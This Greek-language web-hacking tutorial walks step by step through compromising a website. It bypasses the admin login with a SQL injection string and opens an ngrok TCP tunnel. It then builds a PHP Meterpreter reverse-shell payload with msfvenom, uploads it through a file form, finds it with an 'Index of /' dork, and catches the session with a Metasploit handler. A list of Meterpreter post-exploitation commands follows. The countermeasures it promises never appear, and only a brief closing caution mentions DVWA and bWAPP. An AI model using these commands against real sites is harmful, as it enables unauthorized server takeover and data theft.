Σε αυτό το άρθρο, θα σας παρουσιάσουμε μια τεχνική web applications hacking και τα μέτρα αντιμετώπισης που μπορείτε να εφαρμόσετε για την προστασία σας από τέτοιες επιθέσεις.
Απαιτήσεις
- Ένας ευάλωτος ιστότοπος/εφαρμογή
- Ngrok – Secure tunnel
- Msfvenom και Msfconsole
Οι περισσότερες web εφαρμογές φιλοξενούνται σε δημόσιους διακομιστές προσβάσιμους μέσω του Διαδικτύου. Αυτό τις καθιστά ευάλωτες σε επιθέσεις λόγω της εύκολης προσβασιμότητας. Παρακάτω θα δείτε μερικές κοινές απειλές για web εφαρμογές:
- SQL Injection
- Denial of Service Attacks
- XSS Attacks
- CSRF Attacks
- File Inclusion Attacks
- Session/Cookie Hijacking
- Code Injection
- Defacement
Παρακάτω θα χακάρουμε τον πίνακα διαχείρισης ενός ιστότοπου μέσω μιας ευπάθειας SQL Injection με βάση το String, στη συνέχεια θα προσπαθήσουμε να ανεβάσουμε ένα κακόβουλο exploit μέσω μιας φόρμας, και στη συνέχεια θα λάβουμε την σύνδεσή μας στο Meterpreter.
Έτσι, στο πρώτο βήμα θα παρακάμψετε τον πίνακα σύνδεσης μέσω SQL Injection βάσει συμβολοσειράς. Το SQL Injection είναι μια από τις πιο κοινές τεχνικές διαδικτυακών επιθέσεων και συνήθως εμφανίζεται όταν ζητάτε από έναν χρήστη το όνομα χρήστη και τον κωδικό πρόσβασης. Ένας hacker μπορεί να έχει εύκολη πρόσβαση σε ονόματα χρηστών και κωδικούς πρόσβασης από μια βάση δεδομένων, εισάγοντας απλά ένα ‘or”=’ στο πλαίσιο κειμένου του ονόματος χρήστη και του κωδικού πρόσβασης όπως φαίνεται παρακάτω:
Εάν παρακάμψετε με επιτυχία τη σελίδα σύνδεσης με κώδικα της SQL, τότε στο επόμενο βήμα, θα πρέπει να ρυθμίσετε μια υπηρεσία tunnel ngrok, έτσι ώστε να μπορείτε να έχετε την σύνδεση στον ιστότοπο μέσω Internet/WAN
Για αυτό, θα πρέπει να χρησιμοποιήσετε το ngrok.com, ξεκινήστε δημιουργώντας έναν απλό λογαριασμό και κατεβάστε το πακέτο από την ιστοσελίδα σύμφωνα με την αρχιτεκτονική του συστήματός σας.
Μετά τη δημιουργία λογαριασμού, πρέπει να αποσυμπιέσετε το πακέτο με την εντολή ” unzip <package name> ” και στη συνέχεια, να εγκαταστήσετε το authtoken όπως βλέπετε στο παραπάνω screenshot με την εντολή ” ./ngrok authtoken <your token> “.
Τώρα ξεκινήστε την υπηρεσία TCP του ngrok στη θύρα 4444 πληκτρολογώντας ” ./ngrok tcp 4444 “.
Μπορείτε να επιλέξετε οποιαδήποτε θύρα ανάλογα με τις ανάγκες σας.
Η παραπάνω εντολή θα δώσει μια τοπική διεύθυνση προώθησης που είναι tcp: //0.tcp.ngrok.io με αριθμό θύρας προώθησης 18290 που δέχεται όλα τα απομακρυσμένα αιτήματα και θα το προωθήσει στο τοπικό σας host με την ίδια θύρα, δηλαδή την 4444 που χρησιμοποιήσατε στην πρώτη εντολή ενώ θα πραγματοποιήσει εκκίνηση της υπηρεσίας ngrok tcp.
Εδώ λοιπόν σε αυτήν την περίπτωση, έχουμε το LHOST = 0.tcp.ngrok.io και το LPORT = 18290.
Τώρα το επόμενο βήμα είναι να δημιουργήσετε ένα κακόβουλο payload χρησιμοποιώντας το βοηθητικό πρόγραμμα msfvenom το οποίο είναι εγκατεστημένο στο λειτουργικό σύστημα Kali Linux.
Εντολή: msfvenom -p php / meterpreter / reverse_tcp LHOST = 0.tcp.ngrok.io LPORT = 18290 R> hack.php
Εδώ -p σημαίνει payload και R σημαίνει Raw μορφή.
Τώρα το αρχείο hack.php αποθηκεύεται στη root τοποθεσία σας, το οποίο πρέπει να το ανεβάσετε στον παραβιασμένο ιστότοπο μέσω οποιασδήποτε εσωτερικής φόρμας που επιτρέπει το upload.
Έτσι, στον παραπάνω ιστότοπο, παρακάμψαμε τον πίνακα σύνδεσης και στη συνέχεια, τυχαία βρήκαμε μια φόρμα php με λειτουργία upload αρχείων και ανεβάσαμε το κακόβουλο αρχείο μας σε αυτόν τον διακομιστή.
Τώρα το επόμενο βήμα είναι να βρείτε τη διαδρομή του μεταφορτωμένου αρχείου, το οποίο μπορείτε εύκολα να βρείτε μέσω του “Index of /” dork. Εδώ λοιπόν σε αυτήν την περίπτωση, το όνομα του αρχείου μας είναι ” 150135111_hack.php “.
Μόλις φορτωθεί το payload σας σε απομακρυσμένο διακομιστή με οποιαδήποτε τεχνική εισβολής, θα πρέπει να τρέξετε το metasploit για να πάρετε την reverse σύνδεση. Για να ξεκινήσετε το metasploit, πληκτρολογήστε ” msfconsole ” στο τερματικό σας.
Έτσι εδώ θα χρησιμοποιήσουμε το multi/handler exploit πληκτρολογώντας “use exploit/multi/handler ” στο ίδιο τερματικό και το payload που θα χρησιμοποιήσουμε είναι το “set payload php/meterpreter/reverse_tcp“.
Εδώ πρέπει να ρυθμίσετε το LHOST και το LPORT, εάν χρησιμοποιείτε το ngrok ή οποιαδήποτε άλλη υπηρεσία tunneling, τότε η διεύθυνση LHOST θα είναι πάντα 0.0.0.0. Αν χρησιμοποιήσετε το metasploit στο LAN, τότε πρέπει να βάλετε την τοπική σας IP διεύθυνση την οποία μπορείτε να βρείτε εύκολα πληκτρολογώντας “ifconfig” στο τερματικό σας.
Μόλις τρέξετε το exploit στο metasploit και εκτελέσετε το hack.php στο πρόγραμμα περιήγησης, θα έχετε την reverse σύνδεση μέσω Διαδικτύου.
Εδώ στην παραπάνω εικόνα, μπορείτε να δείτε ότι έχετε εισέλθει με επιτυχία στον απομακρυσμένο διακομιστή. Πληκτρολογήστε “ls” για να εμφανίσετε όλα τα αρχεία του server.
Η εντολή “pwd” θα σας δώσει την τρέχουσα διαδρομή όπου έχετε ανεβάσει το κακόβουλο αρχείο σας.
Ακολουθεί μια λίστα εντολών που μπορείτε εύκολα να χρησιμοποιήσετε με το meterpreter.
? – Help menu
background – Backgrounds the current session
bgkill – Kills a background meterpreter script
bglist – Lists running background scripts
bgrun – Executes a meterpreter script as a background thread
channel – Displays information or control active channels
close – Closes a channel
disable_unicode_encoding – Disables encoding of unicode strings
enable_unicode_encoding – Enables encoding of unicode strings
exit – Terminate the meterpreter session
get_timeouts – Get the current session timeout values
help – Help menu
info – Displays information about a Post module
irb – Drop into irb scripting mode
load – Load one or more meterpreter extensions
machine_id – Get the MSF ID of the machine attached to the session
migrate – Migrate the server to another process
quit – Terminate the meterpreter session
read – Reads data from a channel
resource – Run the commands stored in a file
run – Executes a meterpreter script or Post module
sessions Quickly – switch to another session
set_timeouts – Set the current session timeout values
sleep – Force Meterpreter to go quiet, then re-establish session.
transport – Change the current transport mechanism
use – Deprecated alias for ‘load’
uuid – Get the UUID for the current session
write – Writes data to a channel
cat – Read the contents of a file to the screen
cd – Change directory
checksum – Retrieve the checksum of a file
cp – Copy source to destination
dir – List files (alias for ls)
download – Download a file or directory
edit – Edit a file
getlwd – Print local working directory
getwd – Print working directory
lcd – Change local working directory
lpwd – Print local working directory
ls – List files
mkdir – Make directory
mv – Move source to destination
pwd – Print working directory
rm – Delete the specified file
rmdir – Remove directory
search – Search for files
upload – Upload a file or directory
portfwd – Forward a local port to a remote service
execute – Execute a command
getenv – Get one or more environment variable values
getpid – Get the current process identifier
getuid – Get the user that the server is running as
kill – Terminate a process
localtime – Displays the target system’s local date and time
pgrep – Filter processes by name
pkill – Terminate processes by name
ps – List running processes
shell – Drop into a system command shell
sysinfo – Gets information about the remote system, such as OS
Μπορείτε ακόμη και να ανεβάσετε το κακόβουλο αρχείο σας μέσω επιθέσεων file inclusion που θα αναλύσουμε σε επόμενο άρθρο.
Σημείωση: Να είστε προσεκτικοί αν χρησιμοποιήσετε όσα γράφονται παραπάνω σε κάποιο ενεργό ιστότοπο. Μπορείτε να χρησιμοποιήσετε οποιοδήποτε από τις ειδικές εφαρμογές DVWA, bWAPP κ.λπ. για δοκιμές και μαθησιακούς σκοπούς.